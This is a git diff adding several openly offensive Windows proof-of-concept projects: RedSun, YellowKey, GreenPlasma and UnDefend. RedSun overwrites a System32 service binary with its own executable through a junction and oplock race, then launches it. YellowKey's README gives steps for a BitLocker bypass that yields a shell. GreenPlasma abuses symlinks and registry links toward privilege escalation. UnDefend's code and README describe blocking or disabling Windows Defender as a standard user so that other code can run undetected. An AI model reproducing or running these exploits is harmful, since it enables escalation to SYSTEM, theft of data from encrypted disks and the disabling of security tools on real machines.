DoCloudStuff(workdir, filename, sizeof(eicar) - 1); + + OVERLAPPED ovd = { 0 }; + ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); + + SetEvent(gevent); + + WaitOnAddress(&gevent, &gevent, sizeof(HANDLE), INFINITE); + + NTSTATUS stat; + wchar_t ntfoo[MAX_PATH] = { L"\\??\\" }; + wcscat(ntfoo, foo); + UNICODE_STRING _foo = { 0 }; + RtlInitUnicodeString(&_foo, ntfoo); + OBJECT_ATTRIBUTES _objattr = { 0 }; + InitializeObjectAttributes(&_objattr, &_foo, OBJ_CASE_INSENSITIVE, NULL, NULL); + + wchar_t _tmp[MAX_PATH] = { 0 }; + wsprintf(_tmp, L"\\??\\%s.TMP", workdir); + MoveFileEx(workdir,_tmp,MOVEFILE_REPLACE_EXISTING); + if (!CreateDirectory(workdir, NULL)) + { + printf("Failed to re-create directory.\n"); + return 1; + } + LARGE_INTEGER fsz = { 0 }; + fsz.QuadPart = 0x1000; + stat = NtCreateFile(&hfile, FILE_READ_DATA | DELETE | SYNCHRONIZE, &_objattr, &iostat, &fsz, FILE_ATTRIBUTE_READONLY, FILE_SHARE_READ, FILE_SUPERSEDE, NULL, NULL, NULL); + if (stat) + { + printf("Failed to re-open spoof work file, error : 0x%0.8X\n", stat); + return 1; + } + DeviceIoControl(hfile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); + if (GetLastError() != ERROR_IO_PENDING) + { + printf("Failed to request a batch oplock on the update file, error : %d", GetLastError()); + return 1; + } + + HANDLE hmap = CreateFileMapping(hfile, NULL, PAGE_READONLY, NULL, NULL, NULL); + void* mappingaddr = MapViewOfFile(hmap, PAGE_READONLY, NULL, NULL, NULL); + + DWORD nbytes = 0; + GetOverlappedResult(hfile, &ovd, &nbytes, TRUE); + UnmapViewOfFile(mappingaddr); + CloseHandle(hmap); + + + { + wchar_t _tmp[MAX_PATH] = { 0 }; + wsprintf(_tmp, L"\\??\\%s.TEMP2", workdir); + + PFILE_RENAME_INFORMATION pfri = (PFILE_RENAME_INFORMATION)malloc(sizeof(FILE_RENAME_INFORMATION) + (sizeof(wchar_t) * wcslen(_tmp))); + ZeroMemory(pfri, sizeof(FILE_RENAME_INFORMATION) + (sizeof(wchar_t) * wcslen(_tmp))); + pfri->ReplaceIfExists = TRUE; + pfri->FileNameLength = (sizeof(wchar_t) * wcslen(_tmp)); + memmove(&pfri->FileName[0], _tmp, (sizeof(wchar_t) * wcslen(_tmp))); + stat = _NtSetInformationFile(hfile, &iostat, pfri, sizeof(FILE_RENAME_INFORMATION) + (sizeof(wchar_t) * wcslen(_tmp)), (FILE_INFORMATION_CLASS)10); + _NtSetInformationFile(hfile, &iostat, &fdiex, sizeof(fdiex), (FILE_INFORMATION_CLASS)64); + } + wchar_t _rp[MAX_PATH] = { L"\\??\\" }; + wcscat(_rp, workdir); + UNICODE_STRING _usrp = { 0 }; + RtlInitUnicodeString(&_usrp, _rp); + InitializeObjectAttributes(&_objattr, &_usrp, OBJ_CASE_INSENSITIVE, NULL, NULL); + HANDLE hrp = NULL; + stat = NtCreateFile(&hrp, FILE_WRITE_DATA | DELETE | SYNCHRONIZE, &_objattr, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_IF, FILE_DIRECTORY_FILE | FILE_DELETE_ON_CLOSE, NULL, NULL); + if (stat) + { + printf("Failed to re-open work directory.\n"); + return 1; + } + + + wchar_t rptarget[] = { L"\\??\\C:\\Windows\\System32" }; + DWORD targetsz = wcslen(rptarget) * 2; + DWORD printnamesz = 1 * 2; + DWORD pathbuffersz = targetsz + printnamesz + 12; + DWORD totalsz = pathbuffersz + REPARSE_DATA_BUFFER_HEADER_LENGTH; + REPARSE_DATA_BUFFER* rdb = (REPARSE_DATA_BUFFER*)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS | HEAP_ZERO_MEMORY, totalsz); + rdb->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; + rdb->ReparseDataLength = static_cast(pathbuffersz); + rdb->Reserved = NULL; + rdb->MountPointReparseBuffer.SubstituteNameOffset = NULL; + rdb->MountPointReparseBuffer.SubstituteNameLength = static_cast(targetsz); + memcpy(rdb->MountPointReparseBuffer.PathBuffer, rptarget, targetsz + 2); + rdb->MountPointReparseBuffer.PrintNameOffset = static_cast(targetsz + 2); + rdb->MountPointReparseBuffer.PrintNameLength = static_cast(printnamesz); + memcpy(rdb->MountPointReparseBuffer.PathBuffer + targetsz / 2 + 1, rptarget, printnamesz); + DWORD ret = DeviceIoControl(hrp, FSCTL_SET_REPARSE_POINT, rdb, totalsz, NULL, NULL, NULL, NULL); + HeapFree(GetProcessHeap(), NULL, rdb); + + HANDLE hlk = NULL; + + HANDLE htimer = CreateWaitableTimer(NULL, FALSE, NULL); + LARGE_INTEGER duetime = { 0 }; + GetSystemTimeAsFileTime((LPFILETIME)&duetime); + ULARGE_INTEGER _duetime = { duetime.LowPart, duetime.HighPart }; + _duetime.QuadPart += 0x2FAF080; + duetime.QuadPart = _duetime.QuadPart; + CloseHandle(hfile); + for (int i = 0; i < 1000; i++) + { + wchar_t malpath[] = { L"\\??\\C:\\Windows\\System32\\TieringEngineService.exe" }; + UNICODE_STRING _malpath = { 0 }; + RtlInitUnicodeString(&_malpath, malpath); + OBJECT_ATTRIBUTES objattr2 = { 0 }; + InitializeObjectAttributes(&objattr2, &_malpath, OBJ_CASE_INSENSITIVE, NULL, NULL); + IO_STATUS_BLOCK iostat = { 0 }; + stat = NtCreateFile(&hlk, GENERIC_WRITE, &objattr2, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_SUPERSEDE, NULL, NULL, NULL); + if (!stat) + break; + Sleep(20); + } + + + if (stat != STATUS_SUCCESS) + { + printf("Something went wrong.\n"); + return 1; + } + printf("The red sun shall prevail.\n"); + + CloseHandle(hlk); + CloseHandle(hrp); + + + + wchar_t mx[MAX_PATH] = { 0 }; + GetModuleFileName(GetModuleHandle(NULL), mx, MAX_PATH); + wchar_t mx2[MAX_PATH] = { 0 }; + ExpandEnvironmentStrings(L"%WINDIR%\\System32\\TieringEngineService.exe", mx2, MAX_PATH); + CopyFile(mx, mx2, FALSE); + LaunchTierManagementEng(); + Sleep(2000); + CloseHandle(hpipe); + + return 0; +} diff --git a/RedSun/redsun.jpg b/RedSun/redsun.jpg new file mode 100644 index 0000000..b011f71 Binary files /dev/null and b/RedSun/redsun.jpg differ diff --git a/YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxKtmLog.blf b/YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxKtmLog.blf new file mode 100644 index 0000000..363d49a Binary files /dev/null and b/YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxKtmLog.blf differ diff --git a/YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxKtmLogContainer00000000000000000001 b/YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxKtmLogContainer00000000000000000001 new file mode 100644 index 0000000..8a46045 Binary files /dev/null and b/YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxKtmLogContainer00000000000000000001 differ diff --git a/YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxKtmLogContainer00000000000000000002 b/YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxKtmLogContainer00000000000000000002 new file mode 100644 index 0000000..8dd9b32 Binary files /dev/null and b/YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxKtmLogContainer00000000000000000002 differ diff --git a/YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxLog.blf b/YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxLog.blf new file mode 100644 index 0000000..db63a26 Binary files /dev/null and b/YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxLog.blf differ diff --git a/YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxLogContainer00000000000000000001 b/YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxLogContainer00000000000000000001 new file mode 100644 index 0000000..989a5d4 --- /dev/null +++ b/YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxLogContainer00000000000000000001 @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:35c02eaca58f71c6f8475f32cede2b0daf68328124f72be1b6feebd82ad57678 +size 10485760 diff --git a/YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxLogContainer00000000000000000002 b/YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxLogContainer00000000000000000002 new file mode 100644 index 0000000..f252459 --- /dev/null +++ b/YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxLogContainer00000000000000000002 @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e5b844cc57f57094ea4585e235f36c78c1cd222262bb89d53c94dcb4d6b3e55d +size 10485760 diff --git a/YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxTemp/98F62703B343F111A92A005056975458 b/YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxTemp/98F62703B343F111A92A005056975458 new file mode 100644 index 0000000..e69de29 diff --git a/YellowKey/LICENSE b/YellowKey/LICENSE new file mode 100644 index 0000000..c30f3fd --- /dev/null +++ b/YellowKey/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Nightmare-Eclipse + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/YellowKey/README.md b/YellowKey/README.md new file mode 100644 index 0000000..d90dd45 --- /dev/null +++ b/YellowKey/README.md @@ -0,0 +1,20 @@ +# YellowKey +YellowKey Bitlocker Bypass Vulnerability + +Been a while since I saw a bitlocker bypass around, my turn. + +This is one of the most insane discoveries I ever found, almost feels like **backdoor** but what do you know, maybe I'm just insane. + +How to reproduce : +1. Copy the FsTx folder to "**YourUSBStick:**\System Volume Information\FsTx" as is and make sure to use a filesystem that's compatible with Windows (NTFS is preferable but I think FAT32/exFAT should work as well). Funny thing is, the vulnerability is extremely convenient, you don't even need to plug an external storage device, you can just pull out the disk, copy the files in the EFI partition, put it back and it will still work. That's how bad it is. +2. Plug the USB stick in your target windows computer with bitlocker protection turned on. +3. Reboot to Windows Recovery Environment Agent (you can do that by holding SHIFT and clicking on the restart button using your mouse) +4. Once you click on the restart button, lift your finger off the SHIFT key and hold CRTL and do NOT lift your finger off it. +5. If you did everything properly, a shell will spawn with unrestricted access to the bitlocker protected volume. + +shell + + +Now why would I say this is a **backdoor** ? The component that is responsible for this bug is not present anywhere (even in the internet) except inside WinRE image and what makes it raise suspicions is the fact that the exact same component is also present with the exact same name in a normal windows installation but without the functionalities that trigger the bitlocker bypass issue. Why ? I just can't come up with an explanation beside the fact that this was intentional. Also for whatever reason, only windows 11 (+Server 2022/2025) are affect, windows 10 is not. + +A huge thanks to MORSE, MSTIC and Microsoft GHOST for making this public disclosure possible ;) diff --git a/YellowKey/shell.png b/YellowKey/shell.png new file mode 100644 index 0000000..e79b33d Binary files /dev/null and b/YellowKey/shell.png differ diff --git a/green-plasma/GreenPlasma.cpp b/green-plasma/GreenPlasma.cpp new file mode 100644 index 0000000..56c648e --- /dev/null +++ b/green-plasma/GreenPlasma.cpp @@ -0,0 +1,244 @@ + + +#include +#include +#include +#include +#include +#include +#include +#include +#pragma comment(lib, "ntdll.lib") +#pragma comment(lib, "advapi32.lib") + + +#define RtlOffsetToPointer(Base, Offset) ((PUCHAR)(((PUCHAR)(Base)) + ((ULONG_PTR)(Offset)))) +HMODULE hm = GetModuleHandle(L"ntdll.dll"); +NTSTATUS(WINAPI* _NtCreateSymbolicLinkObject)( + OUT PHANDLE pHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PUNICODE_STRING DestinationName) = (NTSTATUS(WINAPI*)( + OUT PHANDLE pHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PUNICODE_STRING DestinationName))GetProcAddress(hm, "NtCreateSymbolicLinkObject"); +NTSTATUS(WINAPI* _NtOpenSection)( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ) = (NTSTATUS(WINAPI*)( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes))GetProcAddress(hm, "NtOpenSection"); +NTSTATUS(WINAPI* _NtDeleteKey)( + HANDLE hkey + ) = (NTSTATUS(WINAPI*)(HANDLE hkey))GetProcAddress(hm, "NtDeleteKey"); +DWORD(WINAPI* CfAbortOperation)( + DWORD pid, + void* unknown, + DWORD flags + ) = (DWORD(WINAPI*)( + DWORD pid, + void* unknown, + DWORD flags + ))GetProcAddress(LoadLibraryA("cldapi.dll"), "CfAbortOperation"); + + + +bool SetPolicyVal() +{ + + bool ret = true; + CfAbortOperation(GetCurrentProcessId(), NULL, 0x2); + DWORD val = 1; + DWORD dwRes = NULL; + HKEY hk = NULL; + DWORD res = NULL; + PACL pACL = NULL; + PSECURITY_DESCRIPTOR pSD = NULL; + EXPLICIT_ACCESS ea; + HANDLE htoken = NULL; + DWORD dwSize = 0; + wchar_t* stringSid = nullptr; + wchar_t linktarget[MAX_PATH] = { 0 }; + PTOKEN_USER pTokenUser = NULL; + ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); + ea.grfAccessPermissions = GENERIC_ALL; + ea.grfAccessMode = SET_ACCESS; + ea.grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT; + ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME; + ea.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; + ea.Trustee.ptstrName = (wchar_t*)L"Everyone"; + dwRes = SetEntriesInAcl(1, &ea, NULL, &pACL); + if (ERROR_SUCCESS != dwRes) { + printf("SetEntriesInAcl error: %d\n",dwRes); + goto cleanup; + } + + res = TreeSetNamedSecurityInfo((wchar_t*)L"CURRENT_USER\\Software\\Policies\\Microsoft\\CloudFiles", SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL, TREE_SEC_INFO_RESET_KEEP_EXPLICIT, NULL, ProgressInvokeNever, NULL); + if (res) + { + printf("Failed to reset HKCU\\Software\\Policies\\Microsoft\\CloudFiles DACL, error : %d\n", res); + goto cleanup; + } + res = RegDeleteTree(HKEY_CURRENT_USER, L"Software\\Policies\\Microsoft\\CloudFiles\\BlockedApps"); + if (res) + { + printf("Failed to delete HKCU\\Software\\Policies\\Microsoft\\CloudFiles\\BlockedApps, error : %d\n", res); + goto cleanup; + } + + res = RegCreateKeyEx(HKEY_CURRENT_USER, L"Software\\Policies\\Microsoft\\CloudFiles\\BlockedApps", NULL, NULL, REG_OPTION_CREATE_LINK | REG_OPTION_VOLATILE, KEY_ALL_ACCESS, NULL, &hk, NULL); + if (res) + { + printf("Failed to create HKCU\\Software\\Policies\\Microsoft\\CloudFiles\\BlockedApps, error : %d\n", res); + goto cleanup; + } + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htoken)) { + printf("OpenProcessToken, error : %d\n", GetLastError()); + _NtDeleteKey(hk); + goto cleanup; + } + + GetTokenInformation(htoken, TokenUser, nullptr, 0, &dwSize); + + if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) { + printf("GetTokenInformation failed, error : %d\n",GetLastError()); + _NtDeleteKey(hk); + goto cleanup; + } + pTokenUser = (PTOKEN_USER)malloc(dwSize); + + if (!GetTokenInformation(htoken, TokenUser, pTokenUser, dwSize, &dwSize)) { + printf("GetTokenInformation failed, error : %d\n", GetLastError()); + _NtDeleteKey(hk); + goto cleanup; + } + CloseHandle(htoken); + htoken = NULL; + + if (!ConvertSidToStringSid(pTokenUser->User.Sid, &stringSid)) { + printf("ConvertSidToStringSid failed.\n"); + _NtDeleteKey(hk); + goto cleanup; + } + wsprintf(linktarget, L"\\REGISTRY\\USER\\%ws\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",stringSid); + + res = RegSetValueEx(hk, L"SymbolicLinkValue", NULL, REG_LINK, (BYTE*)linktarget, wcslen(linktarget) * sizeof(wchar_t)); + if (res) + { + printf("Failed to create symbolic link, error : %d\n", res); + _NtDeleteKey(hk); + goto cleanup; + } + CfAbortOperation(GetCurrentProcessId(), NULL, 0x2); + res = TreeSetNamedSecurityInfo((wchar_t*)L"CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL, TREE_SEC_INFO_RESET_KEEP_EXPLICIT, NULL, ProgressInvokeNever, NULL); + if (res) + { + printf("Failed to reset HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System DACL, error : %d\n", res); + goto cleanup; + } + + _NtDeleteKey(hk); + CloseHandle(hk); + hk = NULL; + res = RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", NULL, KEY_SET_VALUE, &hk); + if (res) + { + printf("Failed to open HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ,error : %d\n", res); + goto cleanup; + } + res = RegSetValueEx(hk, L"DisableLockWorkstation", NULL, REG_DWORD, (BYTE*)&val, sizeof(DWORD)); + if (res) + { + printf("Failed to set HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ,error : %d\n", res); + goto cleanup; + } + +exit: + + if (pACL) + LocalFree(pACL); + if (pSD) + LocalFree(pSD); + if(hk) + CloseHandle(hk); + return ret; +cleanup: + ret = false; + goto exit; +} + +int wmain(int argc, wchar_t** argv) +{ + + wchar_t smpath[MAX_PATH] = { 0 }; + DWORD sesid = 0; + if (!ProcessIdToSessionId(GetCurrentProcessId(), &sesid)) + { + printf("Failed to find current process session id, error : %d\n", GetLastError()); + return 1; + } + if (!sesid) + { + printf("Seriously...?\n"); + return 1; + } + wsprintf(smpath, L"\\Sessions\\%d\\BaseNamedObjects\\CTF.AsmListCache.FMPWinlogon%d", sesid, sesid); + wchar_t* ptarget = argc == 2 ? argv[1] : (wchar_t*)L"\\BaseNamedObjects\\CTFMON_DEAD"; + + bool lockblock = false; + SHELLEXECUTEINFO shi = { 0 }; + UNICODE_STRING linksrc = { 0 }; + UNICODE_STRING linktarget = { 0 }; + RtlInitUnicodeString(&linksrc, smpath); + RtlInitUnicodeString(&linktarget, ptarget); + OBJECT_ATTRIBUTES objattr = { 0 }; + InitializeObjectAttributes(&objattr, &linksrc, OBJ_CASE_INSENSITIVE, NULL, NULL); + HANDLE hlnk = NULL; + HANDLE hmapping = NULL; + NTSTATUS stat = _NtCreateSymbolicLinkObject(&hlnk, GENERIC_ALL, &objattr, &linktarget); + if (stat) + { + printf("Failed to create object manager link.\nEither ctfmon is running as SYSTEM or an instance of the PoC is already running.\n"); + goto cleanup; + } + + shi.cbSize = sizeof(shi); + shi.fMask = SEE_MASK_NOZONECHECKS | SEE_MASK_ASYNCOK; + shi.lpVerb = L"runas"; + shi.lpFile = L"C:\\Windows\\System32\\conhost.exe"; + ShellExecuteEx(&shi); + + do { + _NtOpenSection(&hmapping, MAXIMUM_ALLOWED, &objattr); + } while (!hmapping); + + lockblock = SetPolicyVal(); + if (lockblock) { + do { + Sleep(20); + HDESK dsk = OpenInputDesktop(NULL, NULL, GENERIC_ALL); + if (!dsk || dsk == INVALID_HANDLE_VALUE) + break; + CloseDesktop(dsk); + } while (1); + LockWorkStation(); + } + printf("Section handle : 0x%x\n", hmapping); + printf("Press any button to close section and exit\n"); +cleanup: + if (hlnk) + CloseHandle(hlnk); + + if (hmapping) + { + _getch(); + CloseHandle(hmapping); + } + if (lockblock) + RegDeleteTree(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"); + return 0; +} diff --git a/green-plasma/LICENSE b/green-plasma/LICENSE new file mode 100644 index 0000000..c30f3fd --- /dev/null +++ b/green-plasma/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Nightmare-Eclipse + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/green-plasma/README.md b/green-plasma/README.md new file mode 100644 index 0000000..1c821c2 --- /dev/null +++ b/green-plasma/README.md @@ -0,0 +1,10 @@ +# GreenPlasma +GreenPlasma Windows CTFMON Arbitrary Section Creation Elevation of Privileges Vulnerability + +For this one, I'm not dropping the full PoC, I stripped off the necessary code for a full SYSTEM shell. This is a huge challenge for CTF lovers out there. + +The PoC will create an arbitrary memory section object in any directory object write-able by SYSTEM, if you're smart enough, you can turn this into a full privilege escalation as you can influence the newly created section to manipulate data, lots of services (and even kernel mode drivers) blindly trust certain paths since a standard user is normally not supposed to have write access to them. + +Unsure if this works in Windows 10 but it works in Windows 11/2022/2026 for sure. + +obj diff --git a/un-defend/EngineUnavailable.png b/un-defend/EngineUnavailable.png new file mode 100644 index 0000000..ee7bcef Binary files /dev/null and b/un-defend/EngineUnavailable.png differ diff --git a/un-defend/LICENSE b/un-defend/LICENSE new file mode 100644 index 0000000..c30f3fd --- /dev/null +++ b/un-defend/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Nightmare-Eclipse + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/un-defend/README.md b/un-defend/README.md new file mode 100644 index 0000000..5adc8ca --- /dev/null +++ b/un-defend/README.md @@ -0,0 +1,16 @@ +# UnDefend +Repository hosting windows defender DOS tool + +This tool does not need administrative privileges and can works as a standard user. + +It runs in two modes, passive and aggressive, + +In Passive mode, the PoC blocks all signature updates, causing defender to be unable to detect any new threats so if anything new is pushed by Microsoft, it is immediately blocked. + +![BottomText](UpdateError.png) + +In Aggressive mode, the PoC aims to completely disable but it only works if Microsoft pushes a major platform update (update of MsMpEng.exe and other binaries), this update isn't pushed occasionally like signature updates so the PoC runs in passive mode by default. However, if you expect a major platform update, set the PoC to run in aggressive mode and it will cause windows defender to stop responding. It will be completely disabled and you can run whatever you want without having defender interfer in your business. + +![BottomText](EngineUnavailable.png) + +Now funnily enough, I found a way to lie to the EDR web console to show that defender is up and running with the latest update even if it's not. I was thinking about publishing the code but after thinking about it, it will cause waaay too much damage so I think I'll keep that stuff stashed for now. diff --git a/un-defend/UnDefend.cpp b/un-defend/UnDefend.cpp new file mode 100644 index 0000000..482c6b6 --- /dev/null +++ b/un-defend/UnDefend.cpp @@ -0,0 +1,452 @@ +#define _CRT_SECURE_NO_WARNINGS +#include +#include +#include +#include +#include +#include +#pragma comment(lib,"ntdll.lib") + +HANDLE* gHandleTracker = NULL; +CRITICAL_SECTION* gHandleTrackerLock; + +wchar_t gbackupfile1[MAX_PATH] = { 0 }; +wchar_t gbackupfile2[MAX_PATH] = { 0 }; + +struct UpdThreadObj { + + wchar_t* wdupdatedir; + wchar_t* target; + +}; + +void AddHandle(HANDLE hlock) +{ + // shit code but works i guess + static unsigned int handlecount = 0; + EnterCriticalSection(gHandleTrackerLock); + HANDLE* ntracker = (HANDLE*)malloc((++handlecount + 1) * sizeof(HANDLE)); + if (gHandleTracker) + { + memmove(ntracker, gHandleTracker, handlecount * sizeof(HANDLE)); + } + ntracker[handlecount - 1] = hlock; + ntracker[handlecount] = NULL; + if (gHandleTracker) + free(gHandleTracker); + gHandleTracker = ntracker; + LeaveCriticalSection(gHandleTrackerLock); +} + +void TryLockBackup() { + + static HANDLE hlock1 = NULL; + static HANDLE hlock2 = NULL; + if (hlock1 && hlock2) + return; + UNICODE_STRING unistr = { 0 }; + OBJECT_ATTRIBUTES objattr = { 0 }; + RtlInitUnicodeString(&unistr, gbackupfile1); + InitializeObjectAttributes(&objattr, &unistr, OBJ_CASE_INSENSITIVE, NULL, NULL); + IO_STATUS_BLOCK iostat = { 0 }; + + NTSTATUS ntstat = STATUS_SUCCESS; + if (!hlock1) + ntstat = NtCreateFile(&hlock1, GENERIC_READ | SYNCHRONIZE | GENERIC_EXECUTE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_ALERT, NULL, NULL); + + RtlInitUnicodeString(&unistr, gbackupfile2); + if (!hlock2) + ntstat = NtCreateFile(&hlock2, GENERIC_READ | SYNCHRONIZE | GENERIC_EXECUTE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_ALERT, NULL, NULL); + LARGE_INTEGER li2 = { 0 }; + if (hlock1) { + LARGE_INTEGER li = { 0 }; + GetFileSizeEx(hlock1, &li); + OVERLAPPED ov = { 0 }; + LockFileEx(hlock1, LOCKFILE_EXCLUSIVE_LOCK, NULL, li.LowPart, li.HighPart, &ov); + printf("File \"%ws\" was locked.\n", &gbackupfile2[4]); + AddHandle(hlock1); + } + if (hlock2) + { + LARGE_INTEGER li = { 0 }; + GetFileSizeEx(hlock2, &li); + OVERLAPPED ov = { 0 }; + LockFileEx(hlock2, LOCKFILE_EXCLUSIVE_LOCK, NULL, li.LowPart, li.HighPart, &ov); + printf("File \"%ws\" was locked.\n", &gbackupfile2[4]); + AddHandle(hlock2); + + } + return; +} + + +DWORD WINAPI UpdateBlockerThread(UpdThreadObj* argv) +{ + wchar_t fpath[MAX_PATH] = { 0 }; + wchar_t _fpath[MAX_PATH] = { 0 }; + wcscpy(fpath, argv->wdupdatedir); + wcscat(fpath, L"\\"); + wcscat(fpath, argv->target); + free(argv->target); + delete argv; + DWORD index = 0; + + HANDLE hlock = NULL; + UNICODE_STRING target = { 0 }; + OBJECT_ATTRIBUTES objattr = { 0 }; + CLSID tmp = { 0 }; + NTSTATUS stat = STATUS_SUCCESS; + IO_STATUS_BLOCK iostat = { 0 }; + wchar_t mx[40] = { 0 }; + /* + for (int i = wcslen(fpath); i > 0; i--) { + + if (fpath[i] == L'\\') + { + if (wcslen(fpath) > 99) + { + memmove(mx, &fpath[i - 38], 38 * sizeof(wchar_t)); + break; + } + else if (wcslen(fpath) > 67) + { + memmove(mx, &fpath[i - 6], 6 * sizeof(wchar_t)); + break; + } + + break; + } + } + wchar_t __cmp[7] = { 0 }; + memmove(__cmp, mx, 6 * sizeof(wchar_t));*/ + if (1/*(!CLSIDFromString(mx, &tmp)) || _wcsicmp(__cmp, L"Backup") == 0*/) + { + printf("Found path : \"%ws\"\n", fpath); + 